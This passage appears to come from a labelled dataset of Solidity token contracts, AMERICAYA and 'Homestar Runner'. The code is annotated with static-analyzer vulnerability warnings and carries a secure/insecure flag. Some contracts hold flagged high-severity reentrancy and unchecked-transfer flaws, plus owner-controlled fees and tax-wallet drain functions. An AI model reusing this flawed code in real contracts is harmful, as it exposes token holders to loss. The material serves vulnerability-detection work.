AMERICAYA._taxSwapThreshold should be constant \n\t// Recommendation for 7e8f915: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9153fcc): AMERICAYA._maxTaxSwap should be constant \n\t// Recommendation for 9153fcc: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: fe72ac0): AMERICAYA.caBlockLimit should be constant \n\t// Recommendation for fe72ac0: Add the 'constant' attribute to state variables that never change.\n uint256 public caBlockLimit = 3;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 32335a8): AMERICAYA.caLimit should be constant \n\t// Recommendation for 32335a8: Add the 'constant' attribute to state variables that never change.\n bool public caLimit = true;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x085c0E0f5a00f7B1E6405A94C86Ac4ecAaCc247B);\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2971dec): AMERICAYA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2971dec: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d368d64): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d368d64: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 84015dd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 84015dd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: d368d64\n\t\t// reentrancy-benign | ID: 84015dd\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: d368d64\n\t\t// reentrancy-benign | ID: 84015dd\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ff99733): AMERICAYA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ff99733: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 84015dd\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: d368d64\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 71ce315): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 71ce315: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e78fd8a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e78fd8a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e5366c5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e5366c5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 1 > block.number) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n caLimit &&\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < caBlockLimit, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: 71ce315\n\t\t\t\t// reentrancy-eth | ID: e78fd8a\n\t\t\t\t// reentrancy-eth | ID: e5366c5\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 71ce315\n\t\t\t\t\t// reentrancy-eth | ID: e78fd8a\n\t\t\t\t\t// reentrancy-eth | ID: e5366c5\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: e78fd8a\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: e78fd8a\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 71ce315\n\t\t\t\t// reentrancy-eth | ID: e5366c5\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 71ce315\n\t\t\t\t\t// reentrancy-eth | ID: e5366c5\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: e5366c5\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 71ce315\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: e5366c5\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: e5366c5\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 71ce315\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: d368d64\n\t\t// reentrancy-events | ID: 71ce315\n\t\t// reentrancy-benign | ID: 84015dd\n\t\t// reentrancy-eth | ID: e78fd8a\n\t\t// reentrancy-eth | ID: e5366c5\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function rescueStuckETH() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 57fcbf8): Missing events for critical arithmetic parameters.\n\t// Recommendation for 57fcbf8: Emit an event for critical parameter changes.\n function updateSwapSettings(\n uint256 newinitialBuyTax,\n uint256 newinitialSellTax,\n uint256 newReduBTax,\n uint256 newReduSTax,\n uint256 newPrevSwapBef\n ) external onlyOwner {\n\t\t// events-maths | ID: 57fcbf8\n _initialBuyTax = newinitialBuyTax;\n\n\t\t// events-maths | ID: 57fcbf8\n _initialSellTax = newinitialSellTax;\n\n\t\t// events-maths | ID: 57fcbf8\n _reduceBuyTaxAt = newReduBTax;\n\n\t\t// events-maths | ID: 57fcbf8\n _reduceSellTaxAt = newReduSTax;\n\n\t\t// events-maths | ID: 57fcbf8\n _preventSwapBefore = newPrevSwapBef;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 2a3f375): AMERICAYA.rescueStuckERC20Tokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 2a3f375: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueStuckERC20Tokens(address _tokenAddr, uint256 _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 2a3f375\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function exileW_Restriction() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: d368d64\n\t\t// reentrancy-events | ID: 71ce315\n\t\t// reentrancy-eth | ID: e78fd8a\n\t\t// reentrancy-eth | ID: e5366c5\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9aebfe0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9aebfe0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 33aa29c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 33aa29c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7fb4b16): AMERICAYA.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 7fb4b16: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: fc0cc37): AMERICAYA.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for fc0cc37: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e946ff1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e946ff1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 9aebfe0\n\t\t// reentrancy-benign | ID: 33aa29c\n\t\t// reentrancy-eth | ID: e946ff1\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 9aebfe0\n marketPair[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 9aebfe0\n isExile[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 33aa29c\n\t\t// unused-return | ID: fc0cc37\n\t\t// reentrancy-eth | ID: e946ff1\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 33aa29c\n\t\t// unused-return | ID: 7fb4b16\n\t\t// reentrancy-eth | ID: e946ff1\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 33aa29c\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: e946ff1\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 33aa29c\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_1301.sol",
"secure": 0,
"size_bytes": 19560
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IDexRouter {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable;\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n}",
"file_name": "solidity_code_1302.sol",
"secure": 1,
"size_bytes": 954
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IDexFactory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}",
"file_name": "solidity_code_1303.sol",
"secure": 1,
"size_bytes": 203
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IDexRouter.sol\" as IDexRouter;\nimport \"./IDexFactory.sol\" as IDexFactory;\n\ncontract Runner is ERC20, Ownable {\n uint256 public maxBuy;\n\n uint256 public maxSell;\n\n uint256 public maxWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6c4e9dd): runner.dexRouter should be immutable \n\t// Recommendation for 6c4e9dd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IDexRouter public dexRouter;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 039cc46): runner.lpPair should be immutable \n\t// Recommendation for 039cc46: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public lpPair;\n\n bool private swapping;\n\n uint256 public swapTokensAtAmount;\n\n address operationsAddress;\n\n address devAddress;\n\n uint256 public tradingActiveBlock = 0;\n\n uint256 public blockForPenaltyEnd;\n\n mapping(address => bool) public boughtEarly;\n\n uint256 public botsCaught;\n\n bool public limitsInEffect = true;\n\n bool public tradingActive = false;\n\n bool public swapEnabled = false;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n bool public transferDelayEnabled = true;\n\n uint256 public buyTotalFees;\n\n uint256 public buyOperationsFee;\n\n uint256 public buyLiquidityFee;\n\n uint256 public buyDevFee;\n\n uint256 public buyBurnFee;\n\n uint256 public sellTotalFees;\n\n uint256 public sellOperationsFee;\n\n uint256 public sellLiquidityFee;\n\n uint256 public sellDevFee;\n\n uint256 public sellBurnFee;\n\n uint256 public tokensForOperations;\n\n uint256 public tokensForLiquidity;\n\n uint256 public tokensForDev;\n\n uint256 public tokensForBurn;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n mapping(address => bool) public _isExcludedMaxTransactionAmount;\n\n mapping(address => bool) public automatedMarketMakerPairs;\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n event Launched();\n\n event RemovedLimits();\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event UpdatedMaxBuyAmount(uint256 newAmount);\n\n event UpdatedMaxSellAmount(uint256 newAmount);\n\n event UpdatedMaxWalletAmount(uint256 newAmount);\n\n event UpdatedOperationsAddress(address indexed newWallet);\n\n event MaxTransactionExclusion(address _address, bool excluded);\n\n event BuyBackTriggered(uint256 amount);\n\n event OwnerForcedSwapBack(uint256 timestamp);\n\n event CaughtEarlyBuyer(address sniper);\n\n event SwapAndLiquify(\n uint256 tokensSwapped,\n uint256 ethReceived,\n uint256 tokensIntoLiquidity\n );\n\n event TransferForeignToken(address token, uint256 amount);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 32fec8a): runner.constructor().newOwner lacks a zerocheck on \t operationsAddress = address(newOwner) \t devAddress = address(newOwner)\n\t// Recommendation for 32fec8a: Check that the address is not zero.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 06b7f9a): runner.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 06b7f9a: Rename the local variables that shadow another component.\n constructor() ERC20(\"Homestar Runner\", \"RUNNER\") {\n address newOwner = msg.sender;\n\n IDexRouter _dexRouter = IDexRouter(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n dexRouter = _dexRouter;\n\n lpPair = IDexFactory(_dexRouter.factory()).createPair(\n address(this),\n _dexRouter.WETH()\n );\n\n _excludeFromMaxTransaction(address(lpPair), true);\n\n _setAutomatedMarketMakerPair(address(lpPair), true);\n\n uint256 totalSupply = 1 * 1e9 * 1e18;\n\n maxBuy = (totalSupply * 1) / 50;\n\n maxSell = (totalSupply * 1) / 50;\n\n maxWallet = (totalSupply * 1) / 50;\n\n swapTokensAtAmount = (totalSupply * 5) / 10000;\n\n buyOperationsFee = 25;\n\n buyLiquidityFee = 0;\n\n buyDevFee = 0;\n\n buyBurnFee = 0;\n\n buyTotalFees =\n buyOperationsFee +\n buyLiquidityFee +\n buyDevFee +\n buyBurnFee;\n\n sellOperationsFee = 25;\n\n sellLiquidityFee = 0;\n\n sellDevFee = 0;\n\n sellBurnFee = 0;\n\n sellTotalFees =\n sellOperationsFee +\n sellLiquidityFee +\n sellDevFee +\n sellBurnFee;\n\n _excludeFromMaxTransaction(newOwner, true);\n\n _excludeFromMaxTransaction(address(this), true);\n\n _excludeFromMaxTransaction(address(0xdead), true);\n\n excludeFromFees(newOwner, true);\n\n excludeFromFees(address(this), true);\n\n excludeFromFees(address(0xdead), true);\n\n\t\t// missing-zero-check | ID: 32fec8a\n operationsAddress = address(newOwner);\n\n\t\t// missing-zero-check | ID: 32fec8a\n devAddress = address(newOwner);\n\n _createInitialSupply(newOwner, totalSupply);\n\n transferOwnership(newOwner);\n }\n\n receive() external payable {}\n\n function gorun(uint256 _deadblocks) external onlyOwner {\n require(!tradingActive, \"Cannot reenable trading\");\n\n tradingActive = true;\n\n swapEnabled = true;\n\n tradingActiveBlock = block.number;\n\n blockForPenaltyEnd = tradingActiveBlock + _deadblocks;\n\n emit Launched();\n }\n\n function removeLimits() external onlyOwner {\n limitsInEffect = false;\n\n transferDelayEnabled = false;\n\n emit RemovedLimits();\n }\n\n function manageEarly(address wallet, bool flag) external onlyOwner {\n boughtEarly[wallet] = flag;\n }\n\n function disableTransferDelay() external onlyOwner {\n transferDelayEnabled = false;\n }\n\n function updateMaxBuy(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 2) / 1000) / 1e18,\n \"Cannot set max buy amount lower than 0.2%\"\n );\n\n maxBuy = newNum * (10 ** 18);\n\n emit UpdatedMaxBuyAmount(maxBuy);\n }\n\n function updateMaxSell(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 2) / 1000) / 1e18,\n \"Cannot set max sell amount lower than 0.2%\"\n );\n\n maxSell = newNum * (10 ** 18);\n\n emit UpdatedMaxSellAmount(maxSell);\n }\n\n function updateMaxWallet(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 3) / 1000) / 1e18,\n \"Cannot set max wallet amount lower than 0.3%\"\n );\n\n maxWallet = newNum * (10 ** 18);\n\n emit UpdatedMaxWalletAmount(maxWallet);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 4b96899): runner.updateSwapTokens(uint256) should emit an event for swapTokensAtAmount = newAmount \n\t// Recommendation for 4b96899: Emit an event for critical parameter changes.\n function updateSwapTokens(uint256 newAmount) external onlyOwner {\n require(\n newAmount >= (totalSupply() * 1) / 100000,\n \"Swap amount cannot be lower than 0.001% total supply.\"\n );\n\n require(\n newAmount <= (totalSupply() * 1) / 1000,\n \"Swap amount cannot be higher than 0.1% total supply.\"\n );\n\n\t\t// events-maths | ID: 4b96899\n swapTokensAtAmount = newAmount;\n }\n\n function _excludeFromMaxTransaction(\n address updAds,\n bool isExcluded\n ) private {\n _isExcludedMaxTransactionAmount[updAds] = isExcluded;\n\n emit MaxTransactionExclusion(updAds, isExcluded);\n }\n\n function excludeFromMax(address updAds, bool isEx) external onlyOwner {\n if (!isEx) {\n require(\n updAds != lpPair,\n \"Cannot remove uniswap pair from max txn\"\n );\n }\n\n _isExcludedMaxTransactionAmount[updAds] = isEx;\n }\n\n function setAMM(address pair, bool value) external onlyOwner {\n require(pair != lpPair, \"The pair cannot be removed\");\n\n _setAutomatedMarketMakerPair(pair, value);\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n _excludeFromMaxTransaction(pair, value);\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: cc11974): Missing events for critical arithmetic parameters.\n\t// Recommendation for cc11974: Emit an event for critical parameter changes.\n function updateBuyFees(\n uint256 _operationsFee,\n uint256 _liquidityFee,\n uint256 _DevFee,\n uint256 _burnFee\n ) external onlyOwner {\n\t\t// events-maths | ID: cc11974\n buyOperationsFee = _operationsFee;\n\n\t\t// events-maths | ID: cc11974\n buyLiquidityFee = _liquidityFee;\n\n\t\t// events-maths | ID: cc11974\n buyDevFee = _DevFee;\n\n\t\t// events-maths | ID: cc11974\n buyBurnFee = _burnFee;\n\n\t\t// events-maths | ID: cc11974\n buyTotalFees =\n buyOperationsFee +\n buyLiquidityFee +\n buyDevFee +\n buyBurnFee;\n\n require(buyTotalFees <= 20, \"Must keep fees at 20% or less\");\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: a089dde): Missing events for critical arithmetic parameters.\n\t// Recommendation for a089dde: Emit an event for critical parameter changes.\n function updateSellFees(\n uint256 _operationsFee,\n uint256 _liquidityFee,\n uint256 _DevFee,\n uint256 _burnFee\n ) external onlyOwner {\n\t\t// events-maths | ID: a089dde\n sellOperationsFee = _operationsFee;\n\n\t\t// events-maths | ID: a089dde\n sellLiquidityFee = _liquidityFee;\n\n\t\t// events-maths | ID: a089dde\n sellDevFee = _DevFee;\n\n\t\t// events-maths | ID: a089dde\n sellBurnFee = _burnFee;\n\n\t\t// events-maths | ID: a089dde\n sellTotalFees =\n sellOperationsFee +\n sellLiquidityFee +\n sellDevFee +\n sellBurnFee;\n\n require(sellTotalFees <= 25, \"Must keep fees at 25% or less\");\n }\n\n function returnToStandardTax() external onlyOwner {\n sellOperationsFee = 20;\n\n sellLiquidityFee = 0;\n\n sellDevFee = 0;\n\n sellBurnFee = 0;\n\n sellTotalFees =\n sellOperationsFee +\n sellLiquidityFee +\n sellDevFee +\n sellBurnFee;\n\n require(sellTotalFees <= 20, \"Must keep fees at 20% or less\");\n\n buyOperationsFee = 25;\n\n buyLiquidityFee = 0;\n\n buyDevFee = 0;\n\n buyBurnFee = 0;\n\n buyTotalFees =\n buyOperationsFee +\n buyLiquidityFee +\n buyDevFee +\n buyBurnFee;\n\n require(buyTotalFees <= 25, \"Must keep fees at 25% or less\");\n }\n\n function excludeFromFees(address account, bool excluded) public onlyOwner {\n _isExcludedFromFees[account] = excluded;\n\n emit ExcludeFromFees(account, excluded);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: cda6621): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for cda6621: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c102732): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c102732: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: cc6b5e3): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for cc6b5e3: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 4e96370): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 4e96370: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: b7cc949): runner._transfer(address,address,uint256) performs a multiplication on the result of a division fees = (amount * 99) / 100 tokensForBurn += (fees * buyBurnFee) / buyTotalFees\n\t// Recommendation for b7cc949: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: f6b1d1f): runner._transfer(address,address,uint256) performs a multiplication on the result of a division fees = (amount * sellTotalFees) / 100 tokensForDev += (fees * sellDevFee) / sellTotalFees\n\t// Recommendation for f6b1d1f: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: dbe1e9a): runner._transfer(address,address,uint256) performs a multiplication on the result of a division fees = (amount * buyTotalFees) / 100 tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees\n\t// Recommendation for dbe1e9a: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 5ae9162): runner._transfer(address,address,uint256) performs a multiplication on the result of a division fees = (amount * buyTotalFees) / 100 tokensForDev += (fees * buyDevFee) / buyTotalFees\n\t// Recommendation for 5ae9162: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 1560d8a): runner._transfer(address,address,uint256) performs a multiplication on the result of a division fees = (amount * buyTotalFees) / 100 tokensForOperations += (fees * buyOperationsFee) / buyTotalFees\n\t// Recommendation for 1560d8a: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 9547438): runner._transfer(address,address,uint256) performs a multiplication on the result of a division fees = (amount * 99) / 100 tokensForDev += (fees * buyDevFee) / buyTotalFees\n\t// Recommendation for 9547438: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 72428db): runner._transfer(address,address,uint256) performs a multiplication on the result of a division fees = (amount * 99) / 100 tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees\n\t// Recommendation for 72428db: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: d9f1966): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for d9f1966: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: b82defd): runner._transfer(address,address,uint256) performs a multiplication on the result of a division fees = (amount * sellTotalFees) / 100 tokensForBurn += (fees * sellBurnFee) / sellTotalFees\n\t// Recommendation for b82defd: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 6789f7a): runner._transfer(address,address,uint256) performs a multiplication on the result of a division fees = (amount * 99) / 100 tokensForOperations += (fees * 